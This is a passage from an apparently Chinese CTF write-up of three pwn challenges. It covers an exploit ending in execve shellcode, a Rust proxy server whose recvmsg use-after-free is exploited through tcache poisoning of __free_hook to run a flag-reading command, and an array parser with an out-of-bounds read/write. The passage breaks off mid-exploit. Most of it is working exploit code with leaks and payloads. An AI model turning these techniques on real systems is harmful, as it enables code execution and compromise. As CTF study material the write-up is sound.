    free_write(0x3FFFFFFF-1-0x1000, len(payload), payload)
    fixed_space()
    fixed_read(0)
    fixed_back()
        
def check_payload(payload):
    cnt = 0
    for i in payload:
        if i in [0x3,0x4,0xa,0x11,0x13,0x14,0x15,0x18,0x19,0x1a,0x1c,0x7f]:
            print("bad char:", cnt, hex(i))
            return False
        cnt += 1
    return True
        

def exp():
    _pow = 1
    if _pow:
        p.recvuntil(b"hashcash -mb26 ")
        val = p.recvuntil(b"\n", drop=True)
        res = os.popen(f"hashcash -mb26 {val.decode()}").read()
        p.sendlineafter(b"hashcash token: \n", res.encode())
        

    p.sendlineafter(b"buildroot login: ", b"ctf")
    
    # leak mmap addr & libc addr
    free_space()
    free_read(0x3FFFFFFF-1-0x1000, 0x10)
    p.recvuntil(b"Output: \x00\x00")
    leak1 = u64(p.recv(8))
    memo_base = leak1 - 0x100
    libc_base = memo_base + 0x3000
    environ = libc_base + 0x185160
    print("leak1:", hex(leak1))
    print("memo_base:", hex(memo_base))
    print("libc_base:", hex(libc_base))
    print("environ:", hex(environ))
    
    # leak environ
    tmp = b"\x00\x00" + p64(environ)[:5]
    payload = tmp
    print("payload1:", payload.hex())
    free_write(0x3FFFFFFF-1-0x1000, len(payload), payload)
    free_space()
    free_read(0x3FFFFFFF-1-0x1000, 0x10)
    free_back()
    
    fixed_space()
    fixed_read(0)
    p.recvuntil(b"Output: ")
    stack_leak = u64(p.recv(8))
    print("stack_leak:", hex(stack_leak))
    fixed_back()
    
    # leak program base
    free_space()
    bin_leak_ptr = stack_leak+0xf0
    tmp = b"\x00\x00" + p64(bin_leak_ptr)[:5]
    payload = tmp
    print("payload2:", payload.hex())
    free_write(0x3FFFFFFF-1-0x1000, len(payload), payload)
    fixed_space()
    fixed_read(0)
    p.recvuntil(b"Output: ")
    bin_leak = u64(p.recv(8))
    bin_base = bin_leak - 0x1240
    print("bin_leak:", hex(bin_leak))
    print("bin_base:", hex(bin_base))
    fixed_back()
    
    # gadgets
    ret = bin_base + 0x1298
    one_gadget = libc_base + 0x5eb99
    # try rop
    ret_addr = stack_leak - 0x200 + 0xd8
    shellcode_addr = stack_leak - 0x580
    payload = b"\x00"*((0x100-5)%8) + p64(ret) * (0xf8//8) +p64(shellcode_addr)[:5]
    write_primitive(ret_addr+0xf8-(0x100-5), payload, True)
    shellcode = b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
    if check_payload(shellcode):
        print("good shellcode")
    else:
        print("bad shellcode")
    free_space()
    free_write(0, len(shellcode), shellcode)
    free_back()

    print("shellcode_addr:", hex(shellcode_addr))
    print("ret_gadget:", hex(ret))
    
    p.interactive()

if __name__ == "__main__":
    exp()

n1proxy

附件:https://pan.baidu.com/s/1JWEtWiyOmaJ4tzrVVXLZhA?pwd=ty6w (提取码:ty6w)

0x00 题目信息

we use safety rust to deploy a very safe proxy server!

Notice:the docker can't restart automatically for some reason, please close the docker and start a new one if you find some trouble

又是一个 Rust Pwn,比较巧的是比赛过程中获得了一血唯一解

0x01 题目分析

代码审计

  • 本题使用私有协议实现了一个支持 TCP, UDP, UNIX SOCK 三种底层协议的 proxy server,并且采用了 Rust 语言编码。源代码中多处使用 unsafe 代码块来直接调用 libc 中的函数;
  • main 函数起始处将 ptmalloc 中的 arena 数量设置为了 1,主要是为了简化在并发情况下堆利用的难度;

    • // make this easier :)
      unsafe {
          mallopt(libc::M_ARENA_MAX, 1);
      }
  • 主函数通过 handle_client 并行处理所有进入的连接;

    • thread::spawn(move || {
          println!("New client connected");
          handle_client(client_fd).unwrap_or_else(|err| {
              eprintln!("Error: {}", err);
              let err_msg = format!("error : {}", err);
              my_write(client_fd, err_msg.as_ptr() as *const c_void, err_msg.len()).ok();
          });
          unsafe { libc::close(client_fd) };
          println!("Client disconnected")
      });
  • handle_client 中主要通过 my_writemy_read 与客户端交互,并完成与客户端的密钥交换、会话密钥的协商,最后执行客户端指定的代理功能。需要注意的是,在一个会话中,只能调用一次代理功能的原语,整体的协议交互流程整理如下:

    • (handshake)
      server --> client | HELLO_MSG: "n1proxy server v0.1"
      client --> server | CLIENT_HELLO: "n1proxy client v0.1"
      client --> server | conn_type
      server --> client | key_exchange_sign, key_exchange
      client --> server | client_verify_len, client_verify
      client --> server | client_key_len, client_key_n
      client --> server | client_key_len, client_key_e
      server --> client | new_session_sign, new_session[E_cli(session_key), E_cli(time)]
      
      (new session)
      client --> server | E_sess(pre_conn[type_u32, status_u32, signature])
      server --> client | E_sess(ok_msg[ok_msg, key_exchange_sign])
      
      (connection operations)
      switch status:
      Listen:
          client --> server | E_sess(conn_data[host_len, host, port, signature])
          // new_unix_socket_listen(&target_host, target_port)
          server --> client | E_sess(resmsg[conn_fd, key_exchange_sign])
      
      Close:
          client --> server | E_sess(conn_data[fd, signature])
          // close(fd)
          server --> client | E_sess(resmsg[0, key_exchange_sign])
      
      Conn:
          client --> server | E_sess(conn_data[host_len, host, port, signature])
          // ProxyType::Tcp => my_connect(&target_host, target_port)?,
          // ProxyType::Udp => my_new_udp_connect(&target_host, target_port)?,
          // ProxyType::Sock => new_unix_socket_connect(&target_host, target_port)?,
          server --> client | E_sess(resmsg[conn_fd, key_exchange_sign])
      
      Recv:
          client --> server | E_sess(conn_data[fd, data_size_u64, signature])
          // TCP: my_read(fd, data, len);
          // ProxyType::Udp => my_recvfrom(target_fd, recv_data_size as usize)?,
          // ProxyType::Sock => my_recv_msg(target_fd, recv_data_size as usize)?,
          server --> client | E_sess(resmsg[data[recv_data_len, recv_data], key_exchange_sign])
      
      Send:
          client --> server | E_sess(conn_data[fd, data_size_u64, data, signature])
          // TCP: my_write(fd, data, len);
          // ProxyType::Udp => my_sendto(target_fd, &send_data)?,
          // ProxyType::Sock => my_send_msg(target_fd, &send_data)?,
          server --> client | E_sess(resmsg[send_res, key_exchange_sign])
    • handshake 部分会完成密钥的交换,并协商出一个 session_key,完成会话的初始化;
    • 会话建立后,new session 部分客户端先传递 typestatue 两个参数,type 用于指定代理所使用的协议类型,statue 决定使用什么功能原语;
    • connection operations 部分,按照 status 分发进入不同的原语中:

      • Listen:使用 unix:sock 在 /tmp/<hash_val> 目录下监听请求;
      • Close:关闭连接池中的指定 fd,并完成相应的资源释放;
      • Conn:指定 target_host:port 并使用 type 中指定的协议建立连接,并将 fd 加入连接池中;
      • Recv:指定连接池中的 fd 并使用 type 中指定的协议接收 data_size 大小的数据并返回;
      • Send:指定连接池中的 fd 并使用 type 中指定的协议发送 data_size 大小的数据并返回发送字节数。
  • 其它关键函数的实现请参考源代码。

漏洞点

漏洞位于指定 Recv 功能的 type 为 unix:sock 协议时所调用的 my_recv_msg 函数,但是该漏洞比较隐蔽,即使有一定 Rust 开发经验的人也会容易忽略(更何况我没有...)。

不过通过对比 my_send_msgmy_recv_msg 两个函数实现,再结合一定的分析还是能够看出端倪的:

#[inline(always)]
fn my_send_msg(fd: i32, msg: &[u8]) -> Result<isize> {
    let mut iov = vec![iovec {
        iov_base: msg.as_ptr() as *mut _,
        iov_len: msg.len(),
    }];
    let m = msghdr {
        msg_name: std::ptr::null_mut(),
        msg_namelen: 0,
        msg_iov: iov.as_mut_ptr(),
        msg_iovlen: iov.len(),
        msg_control: std::ptr::null_mut(),
        msg_controllen: 0,
        msg_flags: 0,
    };
    let send_res = unsafe { sendmsg(fd, &m, 0) };

    if send_res < 0 {
        return os_error!();
    }
    Ok(send_res)
}

#[inline(always)]
fn my_recv_msg(fd: i32, recv_size: usize) -> Result<Vec<u8>> {
    let mut recv_iov = [iovec {
        iov_base: vec![0u8; recv_size].as_mut_ptr() as *mut _,
        iov_len: recv_size,
    }];
    let mut msg = msghdr {
        msg_name: std::ptr::null_mut(),
        msg_namelen: 0,
        msg_iov: recv_iov.as_mut_ptr(),
        msg_iovlen: 1,
        msg_control: std::ptr::null_mut(),
        msg_controllen: 0,
        msg_flags: 0,
    };
    let recv_sz = unsafe { recvmsg(fd, &mut msg, 0) };
    if recv_sz < 0 {
        return os_error!();
    }

    let res = unsafe { slice::from_raw_parts(recv_iov[0].iov_base as *const u8, recv_size) };
    Ok(res.to_vec())
}
  • msghdr 是 Linux 下 sock 通信常用的一个结构体,其中较为关键的是 struct iovec * msg_iovint msg_iovlen,他们设置了待使用缓冲区的队列头和长度。而 iovec 结构体由 iov_baseiov_len 组成,前者保存的是缓冲区指针,后者保存缓冲区大小来避免越界;

    • #include<sys/socket.h>
      struct msghdr  {
          void* msg_name ;   
          socklen_t msg_namelen ;    
          struct iovec  * msg_iov ;   
          int  msg_iovlen ;   
          void  * msg_control ;  
          socklen_t msg_controllen ; 
          int  msg_flags ;  
      } ;
  • 回到这两个函数里面,my_send_msg 中, iov_base 设置的是 msg 的指针,msg 由上层函数申请并传入,其内容为客户端想要发送的数据;而 my_recv_msg 中,iov_base 通过 vec![0u8; recv_size].as_mut_ptr() as *mut _ 的方式初始化,这相当于在堆上开辟了一段 recv_size 大小的空间并转换为指针后赋值。这里有三个问题:

    • as_mut_ptr() 方法会返回 vector 第一个元素的裸指针,Rust 无法跟踪或管理裸指针的生命周期;
    • 同时,vec![0u8; recv_size] 在一个类似闭包的环境中申请,一旦出了对应的代码块就会被释放,而由于使用了裸指针来引用这块内存,并且最后所有引用 iov_base 的地方都位于 unsafe 代码块中,编译器完全无法正确追踪和检查此处的生命周期问题;
    • 最后一个问题,slice::from_raw_parts 的大小参数使用了用户指定的 recv_size,而不是 recvmsg 函数的返回值——即实际从 fd 中读出的数据大小 recv_sz。如果 recv_size 小于 recv_sziov_base 残留未初始化数据的话,这可能会导致这部分未初始化数据被当作正常读出的数据返回给客户端。
  • 所以 my_recv_msg 函数可以等价为:

    1. 使用一个 recv_size 大小的内存初始化 iov_base
    2. 释放这块内存得到悬空指针;
    3. unsafe { recvmsg(fd, &mut msg, 0) } 处从读取事先发送到指定 fd 上的数据并写入这块内存(UAF);
    4. 最后通过 unsafe { slice::from_raw_parts(recv_iov[0].iov_base as *const u8, recv_size) } 申请一个同样大小的内存,并把此时 recv_iov[0].iov_base 指针上的值拷贝到这块内存中。

0x02 利用思路

  • 因为漏洞点位于 my_recv_msg ,所以我们主要使用的功能原语是 unix:sock 协议下的 Send 和 Recv。为了使用这两个原语,还得先建立一个双工的管道。首先需要使用 Listen 功能监听一个 socket 文件,此时会话的线程会阻塞在 accept 的位置;然后在新进程中创建另一个会话调用 Conn 功能连接这个 socket 文件,此时会获得一个 fd,先前阻塞在 accept 的会话也会因为有新的连接请求而返回一个 fd。此时我们通过这两个 fd 就建立了一个双工管道,在管道的两端读写就可以分别调用 my_send_msgmy_recv_msg
  • 由上面的分析可以知道,iov_base 可以完成 UAF 的读和写,但是此时没有别的漏洞泄露地址,而在向客户端泄露值之前先要完成一次从 recvmsg 读出数据的写,此时如果不控制好写入的值会导致 crash。例如此时写入的是 tcache chunk 的 next 指针,当进行后续 malloc 操作的时候可能就会发生未知错误;
  • 奇妙的风水:由于 IDA 逆向没搞清楚到底要在哪下断点,于是就在 UAF 的前后直接查看堆的状态来风水。经过测试得到这么一个组合,当 Send 发送 8 个 \x00 ,且 Recv 接收 0x200 大小的数据时,会有较大概率泄露出一个较稳定的 libc 地址且不 crash:

    • image-20231026164134677
  • 题目使用的是 libc 2.27,所以第一时间考虑直接使用 tcache 覆写 __free_hook 的经典方法,但是具体怎么稳定地将值写上去折腾了老半天。因为 slice::from_raw_parts 的存在,在通过 UAF 覆盖 next 指针之后,程序会在同一个 bin 上申请相同大小的 chunk,并将 iov_base 指针处的值拷贝到其中。实际上如果将 next 覆盖为 __free_hook,那么 slice::from_raw_parts 直接申请到的就是 __free_hook 未知的内存。由于 iov_base 最开头保存的就是 next 指针的值,而 +0x8 的位置在重新 malloc 时会被清空,所以只能把要写入的值放在 +0x10 处,并将 next 指针修改为 __free_hook-0x10。这里还要将 tcache chunk + 0x8 的地方放一个可读可写的地址,来保证检查不出错(至于为什么不用控制为 heap+0x10 也没管太多,反正就是可以),最后再写 system 地址即可劫持 __free_hook 为 system;
  • 最后通过 Send 功能发送 b"cat /home/ctf/flag >&9\x00",并使用同样 0x50 的大小 Recv 接收,即可将 flag 写出到响应给客户端的数据流中。

    • image-20231026170145854

0x03 一些坑

  • Send 功能中,由于题目代码实现的原因,data 和 sig 如果拼接在一起发送的话会导致线程阻塞,也就是认为没有读完;如果分开发送的话,则对 data 有最小长度为 20 个字节的要求,这显然容易破坏一些想要的值;所以采取的方案是拼接 data 和 sig,但是留末尾两个字节分开发送,由于 session_key 使用带有 padding 的块密码加密数据,所以服务端是可以正常读出的,这样就可以保证 data 最短可发送 1 个字节,且不会一直阻塞。

0x04 EXP

from pwnlib.tubes.remote import remote
from pwnlib.util.packing import p8, p16, p32, p64, u8, u16, u32, u64
import pwnlib.log as log
from pwn import *
import rsa
from Crypto.Signature import pkcs1_15
from Crypto.Hash import SHA256
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5, AES
from Crypto.Util.Padding import pad, unpad
from enum import Enum
import threading
import time

context.log_level = "debug"

class ConnType(Enum):
    New = 0
    Restore = 1
    Renew = 2
    Restart = 114514
    Unknown = 3

class ProxyType(Enum):
    Tcp = 0
    Udp = 1
    Sock = 2
    Unknown = 3

class ProxyStatus(Enum):
    Send = 0
    Recv = 1
    Conn = 2
    Close = 3
    Listen = 4
    Unknown = 5

class Client(object):
    def __init__(self):
        self.server_key = None
        
        if os.path.exists("client_key.pem"):
            with open("client_key.pem", "rb") as f:
                self.client_key = RSA.import_key(f.read())
        else:
            self.client_key = RSA.generate(1024)
            self.client_key.has_private()
            with open("client_key.pem", "wb") as f:
                f.write(self.client_key.export_key())

        self.r = remote("chall-4a4554644c7a5349.sandbox.ctfpunk.com", 21496)

        self.state = 0
        self.session_key = ()

    def rsa_decrypt(self, data: bytes) -> bytes:
        if not self.client_key.has_private():
            raise Exception("No private key")
        
        cipher = PKCS1_v1_5.new(self.client_key)
        decrypted = cipher.decrypt(data, None)
        return decrypted

    def rsa_encrypt(self, data: bytes):
        pass

    def aes_encrypt(self, data: bytes) -> bytes:
        key, iv = self.session_key
        cipher = AES.new(key, AES.MODE_CBC, iv)
        encrypted_data = cipher.encrypt(pad(data, AES.block_size))
        return encrypted_data

    def aes_decrypt(self, data: bytes):
        key, iv = self.session_key
        cipher = AES.new(key, AES.MODE_CBC, iv)
        try:
            decrypted_data = unpad(cipher.decrypt(data), AES.block_size)
            return decrypted_data
        except ValueError:
            raise Exception("Invalid padding")

    def send_client_hello(self):
        self.r.recvuntil("n1proxy server v0.1")
        self.r.send("n1proxy client v0.1")

    def send_conn_type(self, type):
        """
        enum ConnType {
            New = 0,
            Restore = 1,
            Renew = 2,
            Restart = 114514,
            Unknown = 3,
        }
        """
        self.r.send(p32(type))

    def verify(self, data: bytes, signature: bytes):
        """
        verify signature from server
        """
        assert self.server_key is not None
        hash_obj = SHA256.new(data)
        verifier = pkcs1_15.new(self.server_key)
        try:
            verifier.verify(hash_obj, signature)
            log.success("Verify server key success")
        except (ValueError, TypeError):
            raise Exception("Invalid server key")

    def sign(self, data: bytes):
        """
        sign data with client private key
        """
        assert self.client_key.has_private()
        signer = pkcs1_15.new(self.client_key)
        hash_obj = SHA256.new(data)
        signature = signer.sign(hash_obj)
        return signature

    def get_server_pubkey(self):
        # key_exchange_sign ->
        # [ len(key_exchange_sign) (8 bytes) | key_exchange_sign (512 bytes) ]
        key_exchange_sign_total = 520
        buf = self.r.recv(key_exchange_sign_total)
        key_exchange_sign_length = u64(buf[:8])
        key_exchange_sign = buf[8:]
        assert(len(key_exchange_sign) == key_exchange_sign_length)

        # key exchange ->
        # [ sizeof(pubkey_n) (8 bytes) | sizeof(pubkey_e) (8 bytes) | pubkey_n (512 bytes) | pubkey_e (3 bytes)]
        key_exchange_total = 531
        key_exchange_buf = self.r.recv(key_exchange_total)
        pubkey_n_length = u64(key_exchange_buf[:8])
        pubkey_e_length = u64(key_exchange_buf[8:16])
        pubkey_n = key_exchange_buf[16:528]
        pubkey_e = key_exchange_buf[528:]
        assert len(pubkey_n) == pubkey_n_length
        assert len(pubkey_e) == pubkey_e_length

        log.info("key_exchange_sign_length: " + str(key_exchange_sign_length))

        pubkey_n = int.from_bytes(pubkey_n, "big")
        pubkey_e = int.from_bytes(pubkey_e, "big")
        
        if self.server_key is None:
            self.server_key = RSA.construct((pubkey_n, pubkey_e))
            self.verify(key_exchange_buf, key_exchange_sign)

        log.success("pubkey_n: " + str(pubkey_n))
        log.success("pubkey_e: " + str(pubkey_e))

    def send_client_pubkey(self):
        """
        * client_msg_len is 8bytes
        """
        data_to_sign = len(self.client_key.n.to_bytes(512, 'big')).to_bytes(8, 'little') + \
                        self.client_key.n.to_bytes(512, 'big') + \
                        len(self.client_key.e.to_bytes(3, 'big')).to_bytes(8, 'little') + \
                        self.client_key.e.to_bytes(3, 'big')
        
        signature = self.sign(data_to_sign)

        packet = len(signature).to_bytes(8, 'little') + signature + data_to_sign
        self.r.send(packet)

    def get_session_key(self):
        """
        session_key_sign [ len(sign) (8 bytes) | sign (512 bytes) ]
        session_key [ len(enc_key) (8 bytes) | enc_key (128 key) | len(enc_time) (8 bytes) | enc_time (128 bytes) ]
        """
        session_key_sign_total = 520
        session_key_sign_buf = self.r.recv(session_key_sign_total)
        session_key_sign_length = u64(session_key_sign_buf[:8])
        session_key_sign = session_key_sign_buf[8:]

        session_key_total = 272
        session_key_buf = self.r.recv(session_key_total)
        enc_key_length = u64(session_key_buf[:8])
        enc_key = session_key_buf[8:136]
        enc_time_length = u64(session_key_buf[136:144])
        enc_time = session_key_buf[144:272]

        assert len(session_key_sign) == session_key_sign_length
        self.verify(session_key_buf, session_key_sign)

        assert len(enc_key) == enc_key_length
        assert len(enc_time) == enc_time_length

        log.info("enc_key_length: " + str(enc_key_length))
        log.info("enc_time_length: " + str(enc_time_length))

        session_key = self.rsa_decrypt(enc_key)
        time_stamp = self.rsa_decrypt(enc_time)
        time_stamp = int.from_bytes(time_stamp, 'big')

        assert len(session_key) == 48
        key = session_key[:32]
        iv = session_key[32:]
        assert len(key) == 32
        assert len(iv) == 16
        self.session_key = (key, iv)

    def recv_ok_msg(self):
        enc_data_len = 528
        enc_data = self.r.recv(enc_data_len)
        data = self.aes_decrypt(enc_data)
        assert len(data) == 524
        ok_msg = data[:4]
        sign_len = u64(data[4:12])
        sign = data[12:]
        assert len(sign) == sign_len
        assert len(sign) == 512
        self.verify(ok_msg, sign)
        log.success(f"recv ok msg : {ok_msg}")

    
    def send_pre_conn(self, proxy_type, proxy_status):
        data = p32(proxy_type) + p32(proxy_status)
        sig = self.sign(data)
        full = data + sig
        enc_data = self.aes_encrypt(full)

        self.r.send(enc_data)

    def proxy_listen(self, hostlen, host, port):
        self.send_pre_conn(ProxyType.Sock.value, ProxyStatus.Listen.value)
        self.recv_ok_msg()
        
        assert len(host) == hostlen
        
        hostlen = p32(hostlen)
        host = host.encode()
        port = p16(port)
        data = hostlen + host + port
        sig = self.sign(data)
        full = data + sig
        enc_data = self.aes_encrypt(full)
        
        self.r.send(enc_data)

        # server's listen thread will block because of waiting accept
        # recv conn fd
        recv_enc_data_len = 528
        recv_enc_data = self.r.recv(recv_enc_data_len)
        recv_data = self.aes_decrypt(recv_enc_data)
        assert len(recv_data) == 516
        sig = recv_data[4:]
        self.verify(recv_data[:4], sig)
        conn_fd = u32(recv_data[:4])

        log.success(f"recv listen fd: {conn_fd}")
        return conn_fd

    def proxy_conn(self, hostlen, host, port) -> int:
        self.send_pre_conn(ProxyType.Sock.value, ProxyStatus.Conn.value)
        self.recv_ok_msg()

        hostlen = p32(hostlen)
        host = host.encode()
        port = p16(port)
        data = hostlen + host + port
        sig = self.sign(data)
        full = data + sig
        enc_data = self.aes_encrypt(full)
        
        self.r.send(enc_data)

        # recv conn fd
        recv_enc_data_len = 528
        recv_enc_data = self.r.recv(recv_enc_data_len)
        recv_data = self.aes_decrypt(recv_enc_data)
        assert len(recv_data) == 516
        sig = recv_data[4:]
        self.verify(recv_data[:4], sig)
        conn_fd = u32(recv_data[:4])

        log.success(f"recv conn fd: {conn_fd}")
        return conn_fd
    
    def proxy_send(self, conn_fd, data_size_u64, data):
        self.send_pre_conn(ProxyType.Sock.value, ProxyStatus.Send.value)
        self.recv_ok_msg()

        assert len(data) == data_size_u64

        conn_fd = p32(conn_fd)
        data_size_u64 = p64(data_size_u64)
        data = conn_fd + data_size_u64 + data
        sig = self.sign(data)
        #full = data + sig
        #enc_data = self.aes_encrypt(full)
        #self.r.send(enc_data)
        self.r.send(self.aes_encrypt(data+sig[:-2]))
        self.r.send(self.aes_encrypt(sig[-2:]))

        # recv send result
        recv_enc_data_len = 528
        recv_enc_data = self.r.recv(recv_enc_data_len)
        recv_data = self.aes_decrypt(recv_enc_data)
        sig = recv_data[8:]
        self.verify(recv_data[:8], sig)
        send_res = u64(recv_data[:8])

        log.success(f"send_res: {send_res}")
        return send_res

    def proxy_recv(self, conn_fd, data_size_u64):
        self.send_pre_conn(ProxyType.Sock.value, ProxyStatus.Recv.value)
        self.recv_ok_msg()

        conn_fd = p32(conn_fd)
        data_size_u64 = p64(data_size_u64)
        data = conn_fd + data_size_u64
        sig = self.sign(data)
        self.r.send(self.aes_encrypt(data+sig))

        recv_enc_data = self.r.recv()
        recv_data = self.aes_decrypt(recv_enc_data)
        data_len = u64(recv_data[:8])
        data = recv_data[8:8+data_len]
        sig = recv_data[8+data_len:]
        self.verify(recv_data[:8+data_len], sig)
        log.success(f"recv_data: {data}")

        return data

    def handshake(self):
        self.send_client_hello()
        self.send_conn_type(0x0)
        self.get_server_pubkey()
        self.send_client_pubkey()
        self.get_session_key()

    def do_close(self):
        self.r.close()

fd_1 = -1
fd_2 = -1

def listen_task():
    global fd_1
    c = Client()
    c.handshake()
    fd = c.proxy_listen(0x8, "hostname", 1213)
    fd_1 = fd
    c.do_close()

def exp():
    global fd_1
    global fd_2

    libc = ELF("./lib/libc.so.6")

    threading.Thread(target=listen_task).start()
    time.sleep(2)

    c1 = Client()
    c1.handshake()
    fd_2 = c1.proxy_conn(0x8, "hostname", 1213)
    c1.do_close()

    print(f"fd_1: {fd_1}, fd_2: {fd_2}")

    c2 = Client()
    c2.handshake()
    c2.proxy_send(fd_2, 0x8, b"\x00"*0x8)
    c2.do_close()

# 0x5555556b4010
# 0x200 -> 0x7ffff758ac00
# 0x450 -> 0x7ffff758b290
# 0x410 -> 0x7ffff758b0b0 | 0x5555556cb660
    #pause()
    c3 = Client()
    c3.handshake()
    leak_data = c3.proxy_recv(fd_1, 0x200)

    tmp_leak = u64(leak_data[:0x8])
    libc_leak = u64(leak_data[0x8:0x10])
    libc_base = libc_leak - 0x3ebca0
    system = libc_base + libc.symbols['system']
    __free_hook = libc_base + libc.symbols['__free_hook']
    binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
    print("tmp_leak:", hex(tmp_leak))
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("__free_hook:", hex(__free_hook))
    print("binsh:", hex(binsh))
    c3.do_close()

    #pause()
    c4 = Client()
    c4.handshake()
    c4.proxy_send(fd_2, 0x18, p64(__free_hook-0x10)+p64(__free_hook-0x20)+p64(system))
    c4.do_close()
    c5 = Client()
    c5.handshake()
    read_data = c5.proxy_recv(fd_1, 0x50)
    print("read_data:", read_data)
    c5.do_close()

    c6 = Client()
    c6.handshake()
    cmd = b"cat /home/ctf/flag >&9\x00"
    c6.proxy_send(fd_2, len(cmd), cmd)
    c6.do_close()
    c7 = Client()
    c7.handshake()
    read_data = c7.proxy_recv(fd_1, 0x50)
    print("read_data:", read_data)
    c7.do_close() 

if __name__ == "__main__":
    exp()

n1array

0x00 题目分析

挺简单的,主要的工作量在于数据结构的逆向,但是居然能抢个一血...
  • 题目大体维护了一个hash表,每个表项对应一个array。每个array有一个 name 用于索引,有一个 type 数组和 value 数组。理论上这两个数组应该等长。
  • 用户在输入的时候,可以输入三种 Atom(name,type,value),顺序不限,次数不限,理论上后输入的会覆盖前输入的,每种 Atom 的结构如下:

    • value atom: | u32 len | u32 type | u32 is_def | u32 default_val | u32 nelts | u32 values * nelts |
      
      type atom : | u32 len | u32 type | u32 nelts | u8 type * nelts |
      
      name atom : | u32 len | u32 type | u32 name_len | char[name_len] name |
  • value 有两种模式,在输入的时候可以选择:

    • 正常数组,用户自己输入每一位的值;
    • default数组,用一个输入的位(记为 is_def)来标记,如果置位,则认为这个数组的所有值都是用户输入的 default 值。且用户无需在后面输入每一位的值,即这个输入占空间很短。
  • parse_value() 中,当先输入一个正常的 value 数组(记为value1),再输入一个 default 数组(记为value2),可以发现,array->value.buf 指向第一个输入的 value1_atom.buf ,但是 array->num 会被置为第二个输入的 value1_atom.nelts ,这就导致了越界读写的风险;

    • image-20231026171538942
    • image-20231026171612347
  • 那么题目就简单了,首先通过溢出读,利用 unsorted_bin 来泄露libc地址,然后是溢出写来劫持 tcache 控制 __free_hook。由于读写地址只能在不对齐的 4 字节中进行,所以需要额外处理一下。

0x01 EXP

from pwn import *

context.log_level = "debug"

#p = process(["./ld-2.31.so", "--preload", "./libc-2.31.so", "./pwn"])
p = remote("chall-6b73445766645053.sandbox.ctfpunk.com", 22258)
libc = ELF("./libc-2.31.so")
#p = process(["./pwn"])

def value_atom(nelts, value:list, is_def=False, def_val=0xdeadbeef):
    # len | type | is_def | def_val | nelts | value
    value_data = b"".join([p32(i) for i in value])
    tmp = p32(1) + p32(1 if is_def else 0) + p32(def_val) + p32(nelts) + value_data
    tmp = p32(4 + len(tmp)) + tmp
    return tmp

def type_atom(nelts, type:list):
    # len | type | nelts | type
    type_data = b"".join([p8(_t) for _t in type])
    tmp = p32(2) + p32(nelts) + type_data
    tmp = p32(4 + len(tmp)) + tmp
    return tmp

def name_atom(name:bytes):
    # len | type | name_len | name
    tmp = p32(3) + p32(len(name)) + name
    tmp = p32(4 + len(tmp)) + tmp
    return tmp

def input_data(atom_data:bytes):
    p.sendlineafter(b"cmd>>", b"0")
    p.recvuntil(b"input data of array atom>>")
    atom_data = p32(0) + atom_data
    p.send(p32(4 + len(atom_data)))
    p.send(atom_data)
    
def print_array(arr_name):
    p.sendlineafter(b"cmd>>", b"1")
    p.recvuntil(b"input name>>")
    p.sendline(arr_name)
    
def remove(arr_name):
    p.sendlineafter(b"cmd>>", b"2")
    p.recvuntil(b"input name>>")
    p.sendline(arr_name)

def edit_value(arr_name, idx, new_val):
    p.sendlineafter(b"cmd>>", b"3")
    p.recvuntil(b"input name>>")
    p.sendline(arr_name)
    p.recvuntil(b"Input Index: \n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Input New Val: \n")
    p.sendline(str(new_val).encode())
    
def edit_type(arr_name, idx, new_type):
    p.sendlineafter(b"cmd>>", b"4")
    p.recvuntil(b"input name>>")
    p.sendline(arr_name)
    p.recvuntil(b"Input Index: \n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Input New Type: \n")
    p.sendline(str(new_type).encode())
    
def add(arr_name, idx1, idx2):
    p.sendlineafter(b"cmd>>", b"5")
    p.recvuntil(b"input name>>")
    p.sendline(arr_name)
    p.recvuntil(b"Input Index1: \n")
    p.sendline(str(idx1).encode())
    p.recvuntil(b"Input Index1: \n")
    p.sendline(str(idx2).encode())

# 0x555555554000+0x5030
# 0x000055555555a2a0

def exp():
    #gdb.attach(p, "b *0x7ffff7fc3000+0x16A4\nc\n")
    paylaod = type_atom(256, [2]*256) + name_atom(b"AAAA\x00") + value_atom(1, [0xabcd]) + value_atom(256, [], True, 0xdeadbeef)
    input_data(paylaod)

    paylaod = type_atom(256, [2]*256) + name_atom(b"BBBB\x00") + value_atom(256, [0xaaaa]*256)
    input_data(paylaod)
    remove(b"BBBB")

    print_array(b"AAAA")

    p.recvuntil(b"array AAAA: ")
    arr_data = p.recvuntil(b"]")
    arr_data = arr_data.replace(b" ", b",").decode()
    arr = eval(arr_data)
    print("get arr: ", arr)
    #print(hex(arr[13]))
    #print(hex(arr[12]))
    #print(hex(arr[11]))
    heap_leak = ((arr[13] & 0xff) << 8*5) | (arr[12] << 8) | ((arr[11] & 0xff000000) >> 8*3)
    libc_leak = ((arr[47] & 0xff) << 8*5) | (arr[46] << 8) | ((arr[45] & 0xff000000) >> 8*3)
    print("heap_leak:", hex(heap_leak))
    print("libc_leak:", hex(libc_leak))
    libc_base = libc_leak - 0x1ecbe0
    system = libc_base + libc.sym["system"]
    free_hook = libc_base + libc.sym["__free_hook"]
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    print("libc_base:", hex(libc_base))
    print("free_hook:", hex(free_hook))

    paylaod = type_atom(1, [2]*1) + name_atom(b"CCCC\x00") + value_atom(1, [0xaaaa]*1)
    input_data(paylaod)
    paylaod = type_atom(1, [2]*1) + name_atom(b"DDDD\x00") + value_atom(1, [0xaaaa]*1)
    input_data(paylaod)
    remove(b"CCCC")
    remove(b"DDDD")

    print_array(b"AAAA")
    p.recvuntil(b"array AAAA: ")
    arr_data = p.recvuntil(b"]")
    arr_data = arr_data.replace(b" ", b",").decode()
    arr = eval(arr_data)
    print("get arr: ", arr)
    part1 = arr[105]
    part2 = arr[106]
    part3 = arr[107]
    print("part1:", hex(part1))
    print("part2:", hex(part2))
    print("part3:", hex(part3))
    tmp_hook = free_hook-8
    w_part1 = (part1 & 0x00ffffff) | ((tmp_hook & 0xff) << 8*3)
    w_part2 = (tmp_hook & 0x00ffffffff00) >> 8
    w_part3 = (part3 & 0xffffff00) | ((tmp_hook & 0xff0000000000) >> 8*5)
    print("w_part1:", hex(w_part1))
    print("w_part2:", hex(w_part2))
    print("w_part3:", hex(w_part3))
